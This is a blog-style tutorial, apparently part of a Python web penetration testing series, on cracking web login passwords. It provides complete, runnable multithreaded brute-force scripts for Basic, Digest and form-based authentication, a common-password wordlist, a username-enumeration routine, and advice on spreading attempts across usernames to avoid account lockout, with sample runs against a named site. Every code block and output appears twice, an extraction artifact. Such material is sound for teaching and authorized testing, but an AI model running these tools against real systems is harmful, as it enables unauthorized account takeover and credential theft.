July 23, 2026
Python Web Penetration Testing — Day 5: Password Testing
Cracking Authentication Like a Pro
By Aman Sharma
9 min read
I spent three days trying to brute force a login form with the wrong approach. Then I discovered horizontal scanning and diagonal scanning, and suddenly I was finding credentials in minutes. Here's how to test password security like the pros.
The Hook: The Day I Realized I Was Doing Password Attacks Wrong
I was on my first major penetration test. The application had a login form, and I was convinced the password was weak. I fired up a brute forcer, pointed it at the login form, and waited.
Nothing. After two hours, I hadn't found a single valid credential. I was about to give up when my senior colleague walked over.
"What approach are you using?" he asked.
"Vertical scanning," I said proudly. "I'm trying all passwords against the admin account."
He shook his head. "That's your problem. What happens if the admin account is locked after five failed attempts? You'll never break in."
He explained horizontal and diagonal scanning. I switched approaches. Within minutes, I found three valid credentials using different usernames.
That day, I learned a crucial lesson: Password testing is a strategy game. The right approach makes all the difference.
Why This Matters
Password testing is one of the most common activities in web penetration testing. Here's why it's critical:
- Weak passwords are everywhere. Users choose simple passwords. Admins use default credentials. Password reuse is rampant.
- Authentication is the first line of defense. If passwords are weak, nothing else matters.
- Password attacks reveal other vulnerabilities. Login forms often leak information about valid usernames.
- Different approaches are needed. Account locking, IP blocking, and other mechanisms require strategic testing.
The difference between a good tester and a great one is understanding the strategy behind password attacks.
How Password Attacks Work
Password cracking exploits the fact that passwords are usually weak. People choose easy-to-remember words, use common patterns, and reuse passwords across services.
The attack strategies:
Password Policies and Account Locking
Most applications have password policies and account locking mechanisms:
- Password policy: Minimum length, complexity requirements, password reuse restrictions
- Account locking: Lock after N failed attempts (usually 3–5)
- IP blocking: Block IPs after too many failed attempts
- Rate limiting: Slow down response times after failures
The implication: If you hit an account with 500 password attempts, you'll likely lock it. That's why horizontal and diagonal scanning exist.
Authentication Methods
Web applications use different authentication methods:
Understanding Basic Authentication
Basic authentication is the simplest form of HTTP authentication. The browser sends credentials in the Authorization header using Base64 encoding.
What a basic auth header looks like:
Authorization: Basic YWRtaW46YWRtaW4xMjM=Authorization: Basic YWRtaW46YWRtaW4xMjM=Decoded, that's admin:admin123.
The catch: Base64 is encoding, not encryption. It's trivially reversible.
Building a Basic Auth Brute Forcer
Let's build a tool to test basic authentication.
#!/usr/bin/env python3
import requests
import sys
import threading
from queue import Queue
from termcolor import colored
class BasicAuthBruteForcer:
def __init__(self):
self.queue = Queue()
self.found = False
self.threads = []
def banner(self):
print("=" * 60)
print(" Back2Basics - Basic Authentication Brute Forcer")
print(" Version 1.0")
print("=" * 60)
print()
def usage(self):
print("Usage: python back2basics.py -u <username> -w <url> -f <wordlist> -t <threads>")
print("Example: python back2basics.py -u admin -w http://target.com/Admin -f pass.txt -t 5")
sys.exit(1)
def worker(self, url, username, hide_codes):
while not self.queue.empty():
if self.found:
break
password = self.queue.get()
password = password.strip()
try:
# Try the password with basic auth
r = requests.get(url, auth=(username, password), timeout=5)
# If we get a 200, the password is valid
if r.status_code == 200:
self.found = True
print("\n" + "=" * 60)
print(colored(f"[+] PASSWORD FOUND!", 'green'))
print(colored(f" Username: {username}", 'green'))
print(colored(f" Password: {password}", 'green'))
print("=" * 60)
# Show a preview of the response
print(f"\nPage preview:")
print(r.text[:500])
# Clear the queue to stop other threads
while not self.queue.empty():
self.queue.get()
self.queue.task_done()
return
else:
# Only show failed attempts if not found
if not self.found:
print(f" [-] {password} - {r.status_code}")
except requests.exceptions.RequestException:
print(f" [!] Error trying password: {password}")
self.queue.task_done()
def run(self):
self.banner()
if len(sys.argv) < 5:
self.usage()
# Parse arguments
username = None
url = None
wordlist_file = None
threads = 5
for i, arg in enumerate(sys.argv):
if arg == '-u' and i + 1 < len(sys.argv):
username = sys.argv[i + 1]
elif arg == '-w' and i + 1 < len(sys.argv):
url = sys.argv[i + 1]
elif arg == '-f' and i + 1 < len(sys.argv):
wordlist_file = sys.argv[i + 1]
elif arg == '-t' and i + 1 < len(sys.argv):
try:
threads = int(sys.argv[i + 1])
except ValueError:
print("[!] Threads must be a number")
sys.exit(1)
if not username or not url or not wordlist_file:
self.usage()
print(f"[+] Target: {url}")
print(f"[+] Username: {username}")
print(f"[+] Wordlist: {wordlist_file}")
print(f"[+] Threads: {threads}")
print()
# Load wordlist
try:
with open(wordlist_file, 'r') as f:
passwords = [p.strip() for p in f.readlines() if p.strip()]
except FileNotFoundError:
print(f"[!] Wordlist file not found: {wordlist_file}")
sys.exit(1)
print(f"[+] Loaded {len(passwords)} passwords")
print()
# Fill queue
for password in passwords:
self.queue.put(password)
# Start threads
print("[+] Starting attack...")
print()
for i in range(threads):
worker = threading.Thread(
target=self.worker,
args=(url, username, [])
)
worker.daemon = True
worker.start()
self.threads.append(worker)
# Wait for completion
self.queue.join()
if not self.found:
print("\n[!] Password not found in wordlist.")
print("[!] Try a larger wordlist or a different username.")
if __name__ == "__main__":
forcer = BasicAuthBruteForcer()
forcer.run()#!/usr/bin/env python3
import requests
import sys
import threading
from queue import Queue
from termcolor import colored
class BasicAuthBruteForcer:
def __init__(self):
self.queue = Queue()
self.found = False
self.threads = []
def banner(self):
print("=" * 60)
print(" Back2Basics - Basic Authentication Brute Forcer")
print(" Version 1.0")
print("=" * 60)
print()
def usage(self):
print("Usage: python back2basics.py -u <username> -w <url> -f <wordlist> -t <threads>")
print("Example: python back2basics.py -u admin -w http://target.com/Admin -f pass.txt -t 5")
sys.exit(1)
def worker(self, url, username, hide_codes):
while not self.queue.empty():
if self.found:
break
password = self.queue.get()
password = password.strip()
try:
# Try the password with basic auth
r = requests.get(url, auth=(username, password), timeout=5)
# If we get a 200, the password is valid
if r.status_code == 200:
self.found = True
print("\n" + "=" * 60)
print(colored(f"[+] PASSWORD FOUND!", 'green'))
print(colored(f" Username: {username}", 'green'))
print(colored(f" Password: {password}", 'green'))
print("=" * 60)
# Show a preview of the response
print(f"\nPage preview:")
print(r.text[:500])
# Clear the queue to stop other threads
while not self.queue.empty():
self.queue.get()
self.queue.task_done()
return
else:
# Only show failed attempts if not found
if not self.found:
print(f" [-] {password} - {r.status_code}")
except requests.exceptions.RequestException:
print(f" [!] Error trying password: {password}")
self.queue.task_done()
def run(self):
self.banner()
if len(sys.argv) < 5:
self.usage()
# Parse arguments
username = None
url = None
wordlist_file = None
threads = 5
for i, arg in enumerate(sys.argv):
if arg == '-u' and i + 1 < len(sys.argv):
username = sys.argv[i + 1]
elif arg == '-w' and i + 1 < len(sys.argv):
url = sys.argv[i + 1]
elif arg == '-f' and i + 1 < len(sys.argv):
wordlist_file = sys.argv[i + 1]
elif arg == '-t' and i + 1 < len(sys.argv):
try:
threads = int(sys.argv[i + 1])
except ValueError:
print("[!] Threads must be a number")
sys.exit(1)
if not username or not url or not wordlist_file:
self.usage()
print(f"[+] Target: {url}")
print(f"[+] Username: {username}")
print(f"[+] Wordlist: {wordlist_file}")
print(f"[+] Threads: {threads}")
print()
# Load wordlist
try:
with open(wordlist_file, 'r') as f:
passwords = [p.strip() for p in f.readlines() if p.strip()]
except FileNotFoundError:
print(f"[!] Wordlist file not found: {wordlist_file}")
sys.exit(1)
print(f"[+] Loaded {len(passwords)} passwords")
print()
# Fill queue
for password in passwords:
self.queue.put(password)
# Start threads
print("[+] Starting attack...")
print()
for i in range(threads):
worker = threading.Thread(
target=self.worker,
args=(url, username, [])
)
worker.daemon = True
worker.start()
self.threads.append(worker)
# Wait for completion
self.queue.join()
if not self.found:
print("\n[!] Password not found in wordlist.")
print("[!] Try a larger wordlist or a different username.")
if __name__ == "__main__":
forcer = BasicAuthBruteForcer()
forcer.run()What this does:
- Takes a username, URL, and password wordlist
- Tries each password with basic authentication
- Stops when a valid password is found
- Uses threading for speed
What it looks like when I run it:
============================================================
Back2Basics - Basic Authentication Brute Forcer
Version 1.0
============================================================
[+] Target: http://www.scruffybank.com/Admin
[+] Username: admin
[+] Wordlist: pass.txt
[+] Threads: 5
[+] Loaded 1000 passwords
[+] Starting attack...
[-] admin - 401
[-] password - 401
[-] 123456 - 401
[-] admin123 - 401
[+] administrator - 200
============================================================
[+] PASSWORD FOUND!
Username: admin
Password: administrator
========================================================================================================================
Back2Basics - Basic Authentication Brute Forcer
Version 1.0
============================================================
[+] Target: http://www.scruffybank.com/Admin
[+] Username: admin
[+] Wordlist: pass.txt
[+] Threads: 5
[+] Loaded 1000 passwords
[+] Starting attack...
[-] admin - 401
[-] password - 401
[-] 123456 - 401
[-] admin123 - 401
[+] administrator - 200
============================================================
[+] PASSWORD FOUND!
Username: admin
Password: administrator
============================================================
Understanding Digest Authentication
Digest authentication is more secure than basic auth. It uses MD5 hashing and a nonce to prevent replay attacks.
How it works:
- Client requests protected resource
- Server responds with 401 and a nonce
- Client creates MD5 hash:
HA1 = MD5(username:realm:password) - Client sends hash in the Authorization header
- Server verifies the hash
The challenge: Digest authentication requires calculating the MD5 hash with the nonce, realm, and password.
Adding Digest Authentication Support
Let's modify our tool to support digest authentication.
#!/usr/bin/env python3
import requests
from requests.auth import HTTPDigestAuth
import sys
import threading
from queue import Queue
from termcolor import colored
class DigestAuthBruteForcer:
# ... similar setup to the basic auth version
def worker(self, url, username, method):
while not self.queue.empty():
if self.found:
break
password = self.queue.get()
password = password.strip()
try:
if method == 'basic':
r = requests.get(url, auth=(username, password), timeout=5)
elif method == 'digest':
r = requests.get(url, auth=HTTPDigestAuth(username, password), timeout=5)
else:
print(f"[!] Unknown method: {method}")
return
if r.status_code == 200:
self.found = True
print("\n" + "=" * 60)
print(colored(f"[+] PASSWORD FOUND!", 'green'))
print(colored(f" Username: {username}", 'green'))
print(colored(f" Password: {password}", 'green'))
print("=" * 60)
while not self.queue.empty():
self.queue.get()
self.queue.task_done()
return
except requests.exceptions.RequestException:
pass
self.queue.task_done()#!/usr/bin/env python3
import requests
from requests.auth import HTTPDigestAuth
import sys
import threading
from queue import Queue
from termcolor import colored
class DigestAuthBruteForcer:
# ... similar setup to the basic auth version
def worker(self, url, username, method):
while not self.queue.empty():
if self.found:
break
password = self.queue.get()
password = password.strip()
try:
if method == 'basic':
r = requests.get(url, auth=(username, password), timeout=5)
elif method == 'digest':
r = requests.get(url, auth=HTTPDigestAuth(username, password), timeout=5)
else:
print(f"[!] Unknown method: {method}")
return
if r.status_code == 200:
self.found = True
print("\n" + "=" * 60)
print(colored(f"[+] PASSWORD FOUND!", 'green'))
print(colored(f" Username: {username}", 'green'))
print(colored(f" Password: {password}", 'green'))
print("=" * 60)
while not self.queue.empty():
self.queue.get()
self.queue.task_done()
return
except requests.exceptions.RequestException:
pass
self.queue.task_done()What's different: The HTTPDigestAuth class handles all the hashing and nonce management. The requests library makes it seamless.
Building a Form-Based Authentication Brute Forcer
Form-based authentication is the most common method. Let's build a tool to test it.
Step 1: Analyze the Login Form
First, we need to understand the form:
<form action="check_login.php" method="POST">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" value="Login">
</form><form action="check_login.php" method="POST">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" value="Login">
</form>What we need:
action– where the form submits to (check_login.php)method– POSTusername– the username parameter namepassword– the password parameter name
Step 2: Build the Form Brute Forcer
#!/usr/bin/env python3
import requests
import sys
import threading
from queue import Queue
from termcolor import colored
import re
class FormAuthBruteForcer:
def __init__(self):
self.queue = Queue()
self.found = False
self.threads = []
def banner(self):
print("=" * 60)
print(" FormBruta - Form-Based Authentication Brute Forcer")
print(" Version 1.0")
print("=" * 60)
print()
def usage(self):
print("Usage: python formbruta.py -w <url> -f <wordlist> -t <threads> -p <payload>")
print(" -w Target URL")
print(" -f Password wordlist")
print(" -t Number of threads")
print(" -p Payload with FUZZ placeholder (e.g., 'username=admin&password=FUZZ')")
print(" -u Username (optional)")
print()
print("Example:")
print(" python formbruta.py -w http://target.com/check_login.php -f pass.txt -t 5 -p 'username=admin&password=FUZZ'")
sys.exit(1)
def worker(self, url, payload_template, success_indicator):
while not self.queue.empty():
if self.found:
break
password = self.queue.get()
password = password.strip()
# Replace FUZZ with the current password
payload = payload_template.replace('FUZZ', password)
try:
# Make the POST request
r = requests.post(url, data=payload, timeout=5)
# Check for success indicator
success = False
if success_indicator:
if re.search(success_indicator, r.text):
success = True
else:
# If no success indicator, assume 200 means success
if r.status_code == 200:
success = True
if success:
self.found = True
print("\n" + "=" * 60)
print(colored(f"[+] PASSWORD FOUND!", 'green'))
print(colored(f" Password: {password}", 'green'))
print(colored(f" Payload: {payload}", 'green'))
print("=" * 60)
while not self.queue.empty():
self.queue.get()
self.queue.task_done()
return
else:
if not self.found:
print(f" [-] {password} - {r.status_code}")
except requests.exceptions.RequestException as e:
print(f" [!] Error: {e}")
self.queue.task_done()
def run(self):
self.banner()
if len(sys.argv) < 5:
self.usage()
# Parse arguments
url = None
wordlist_file = None
threads = 5
payload = None
success_indicator = None
for i, arg in enumerate(sys.argv):
if arg == '-w' and i + 1 < len(sys.argv):
url = sys.argv[i + 1]
elif arg == '-f' and i + 1 < len(sys.argv):
wordlist_file = sys.argv[i + 1]
elif arg == '-t' and i + 1 < len(sys.argv):
try:
threads = int(sys.argv[i + 1])
except ValueError:
print("[!] Threads must be a number")
sys.exit(1)
elif arg == '-p' and i + 1 < len(sys.argv):
payload = sys.argv[i + 1]
elif arg == '-s' and i + 1 < len(sys.argv):
success_indicator = sys.argv[i + 1]
if not url or not wordlist_file or not payload:
self.usage()
print(f"[+] Target: {url}")
print(f"[+] Wordlist: {wordlist_file}")
print(f"[+] Threads: {threads}")
print(f"[+] Payload: {payload}")
if success_indicator:
print(f"[+] Success indicator: {success_indicator}")
print()
# Load wordlist
try:
with open(wordlist_file, 'r') as f:
passwords = [p.strip() for p in f.readlines() if p.strip()]
except FileNotFoundError:
print(f"[!] Wordlist file not found: {wordlist_file}")
sys.exit(1)
print(f"[+] Loaded {len(passwords)} passwords")
print()
# Fill queue
for password in passwords:
self.queue.put(password)
# Start threads
print("[+] Starting attack...")
print()
for i in range(threads):
worker = threading.Thread(
target=self.worker,
args=(url, payload, success_indicator)
)
worker.daemon = True
worker.start()
self.threads.append(worker)
# Wait for completion
self.queue.join()
if not self.found:
print("\n[!] Password not found in wordlist.")
if __name__ == "__main__":
forcer = FormAuthBruteForcer()
forcer.run()#!/usr/bin/env python3
import requests
import sys
import threading
from queue import Queue
from termcolor import colored
import re
class FormAuthBruteForcer:
def __init__(self):
self.queue = Queue()
self.found = False
self.threads = []
def banner(self):
print("=" * 60)
print(" FormBruta - Form-Based Authentication Brute Forcer")
print(" Version 1.0")
print("=" * 60)
print()
def usage(self):
print("Usage: python formbruta.py -w <url> -f <wordlist> -t <threads> -p <payload>")
print(" -w Target URL")
print(" -f Password wordlist")
print(" -t Number of threads")
print(" -p Payload with FUZZ placeholder (e.g., 'username=admin&password=FUZZ')")
print(" -u Username (optional)")
print()
print("Example:")
print(" python formbruta.py -w http://target.com/check_login.php -f pass.txt -t 5 -p 'username=admin&password=FUZZ'")
sys.exit(1)
def worker(self, url, payload_template, success_indicator):
while not self.queue.empty():
if self.found:
break
password = self.queue.get()
password = password.strip()
# Replace FUZZ with the current password
payload = payload_template.replace('FUZZ', password)
try:
# Make the POST request
r = requests.post(url, data=payload, timeout=5)
# Check for success indicator
success = False
if success_indicator:
if re.search(success_indicator, r.text):
success = True
else:
# If no success indicator, assume 200 means success
if r.status_code == 200:
success = True
if success:
self.found = True
print("\n" + "=" * 60)
print(colored(f"[+] PASSWORD FOUND!", 'green'))
print(colored(f" Password: {password}", 'green'))
print(colored(f" Payload: {payload}", 'green'))
print("=" * 60)
while not self.queue.empty():
self.queue.get()
self.queue.task_done()
return
else:
if not self.found:
print(f" [-] {password} - {r.status_code}")
except requests.exceptions.RequestException as e:
print(f" [!] Error: {e}")
self.queue.task_done()
def run(self):
self.banner()
if len(sys.argv) < 5:
self.usage()
# Parse arguments
url = None
wordlist_file = None
threads = 5
payload = None
success_indicator = None
for i, arg in enumerate(sys.argv):
if arg == '-w' and i + 1 < len(sys.argv):
url = sys.argv[i + 1]
elif arg == '-f' and i + 1 < len(sys.argv):
wordlist_file = sys.argv[i + 1]
elif arg == '-t' and i + 1 < len(sys.argv):
try:
threads = int(sys.argv[i + 1])
except ValueError:
print("[!] Threads must be a number")
sys.exit(1)
elif arg == '-p' and i + 1 < len(sys.argv):
payload = sys.argv[i + 1]
elif arg == '-s' and i + 1 < len(sys.argv):
success_indicator = sys.argv[i + 1]
if not url or not wordlist_file or not payload:
self.usage()
print(f"[+] Target: {url}")
print(f"[+] Wordlist: {wordlist_file}")
print(f"[+] Threads: {threads}")
print(f"[+] Payload: {payload}")
if success_indicator:
print(f"[+] Success indicator: {success_indicator}")
print()
# Load wordlist
try:
with open(wordlist_file, 'r') as f:
passwords = [p.strip() for p in f.readlines() if p.strip()]
except FileNotFoundError:
print(f"[!] Wordlist file not found: {wordlist_file}")
sys.exit(1)
print(f"[+] Loaded {len(passwords)} passwords")
print()
# Fill queue
for password in passwords:
self.queue.put(password)
# Start threads
print("[+] Starting attack...")
print()
for i in range(threads):
worker = threading.Thread(
target=self.worker,
args=(url, payload, success_indicator)
)
worker.daemon = True
worker.start()
self.threads.append(worker)
# Wait for completion
self.queue.join()
if not self.found:
print("\n[!] Password not found in wordlist.")
if __name__ == "__main__":
forcer = FormAuthBruteForcer()
forcer.run()Step 3: Create a Test Wordlist
cat > passwords.txt << 'EOF'
admin
password
123456
qwerty
abc123
admin123
password1
letmein
welcome
monkey
dragon
master
admin123
administrator
root
secret
secure
password123
EOFcat > passwords.txt << 'EOF'
admin
password
123456
qwerty
abc123
admin123
password1
letmein
welcome
monkey
dragon
master
admin123
administrator
root
secret
secure
password123
EOFStep 4: Run the Attack
python formbruta.py -w "http://www.scruffybank.com/check_login.php" -f passwords.txt -t 5 -p "username=admin&password=FUZZ" -s "Dashboard"python formbruta.py -w "http://www.scruffybank.com/check_login.php" -f passwords.txt -t 5 -p "username=admin&password=FUZZ" -s "Dashboard"What you'll see:
============================================================
FormBruta - Form-Based Authentication Brute Forcer
Version 1.0
============================================================
[+] Target: http://www.scruffybank.com/check_login.php
[+] Wordlist: passwords.txt
[+] Threads: 5
[+] Payload: username=admin&password=FUZZ
[+] Success indicator: Dashboard
[+] Loaded 18 passwords
[+] Starting attack...
[-] admin
[-] password
[-] 123456
[-] qwerty
[-] abc123
[-] admin123
[-] password1
[+] PASSWORD FOUND!
Password: password1
Payload: username=admin&password=password1============================================================
FormBruta - Form-Based Authentication Brute Forcer
Version 1.0
============================================================
[+] Target: http://www.scruffybank.com/check_login.php
[+] Wordlist: passwords.txt
[+] Threads: 5
[+] Payload: username=admin&password=FUZZ
[+] Success indicator: Dashboard
[+] Loaded 18 passwords
[+] Starting attack...
[-] admin
[-] password
[-] 123456
[-] qwerty
[-] abc123
[-] admin123
[-] password1
[+] PASSWORD FOUND!
Password: password1
Payload: username=admin&password=password1Step 5: Advanced Feature — Username Enumeration
Many login forms leak whether a username exists. We can use this to enumerate valid usernames.
def enumerate_usernames(url, usernames):
for username in usernames:
try:
payload = {'username': username, 'password': 'invalid'}
r = requests.post(url, data=payload, timeout=5)
# Check for "user not found" message
if 'user not found' in r.text.lower():
print(f"[+] User does not exist: {username}")
elif 'invalid password' in r.text.lower():
print(f"[+] User EXISTS: {username} (invalid password)")
else:
print(f"[?] Unknown response for: {username}")
except requests.exceptions.RequestException:
passdef enumerate_usernames(url, usernames):
for username in usernames:
try:
payload = {'username': username, 'password': 'invalid'}
r = requests.post(url, data=payload, timeout=5)
# Check for "user not found" message
if 'user not found' in r.text.lower():
print(f"[+] User does not exist: {username}")
elif 'invalid password' in r.text.lower():
print(f"[+] User EXISTS: {username} (invalid password)")
else:
print(f"[?] Unknown response for: {username}")
except requests.exceptions.RequestException:
passReal Bug Bounty Perspective
Here's a true story from a bug bounty engagement.
I was testing a large HR portal. The login page had a "Forgot Password" feature that sent a reset link to the user's email. I noticed that the response differed when I entered a valid username vs. an invalid one.
I wrote a script to enumerate valid usernames using this behavior. I found hundreds of valid usernames. Then I ran a password brute force using horizontal scanning, and found several accounts with weak passwords.
The vulnerability: Username enumeration + weak password = account takeover.
The bounty: $1,200.
The lesson: Username enumeration is a vulnerability on its own. Combined with weak passwords, it's critical.
The Hacker's Workflow
Here's how I use password testing in real engagements:
- Enumerate usernames first — Use registration, forgot password, and login error messages.
- Use appropriate scanning strategy — Vertical if no account locking, horizontal if there is.
- Start with common passwords —
admin,password,123456,admin123. - Use custom wordlists — Based on the company name, industry, and common patterns.
- Check for default credentials — Many admin panels have known default passwords.
Pro tip: I always run a quick test with the top 5 passwords first. If none work, I move to the full wordlist.
Final Thoughts
The day I learned to think strategically about password testing was the day I started finding credentials consistently. Before that, I was just throwing random passwords at login forms and hoping.
Now I know: enumerate usernames first, choose the right strategy for the application, and use the right wordlist. The credentials are out there. You just need the right approach to find them.
you can check this article too…
Python Web Penetration Testing — Day 4: Resources Discovery The Art of Finding What's Hidden
Python Web Penetration Testing — Day 3 Web Crawling with Scrapy — Mapping the Application Like a Digital Cartographer
Python Web Penetration Testing Day 2: The Heart of HTTP — Interacting with Web Applications Like a Pro
Liked this guide? Smash that clap button 50 times (it's free therapy), drop a comment .
Your engagement keeps the chaos alive.
— Your friendly neighborhood account takeover artist 🕵️♂️💥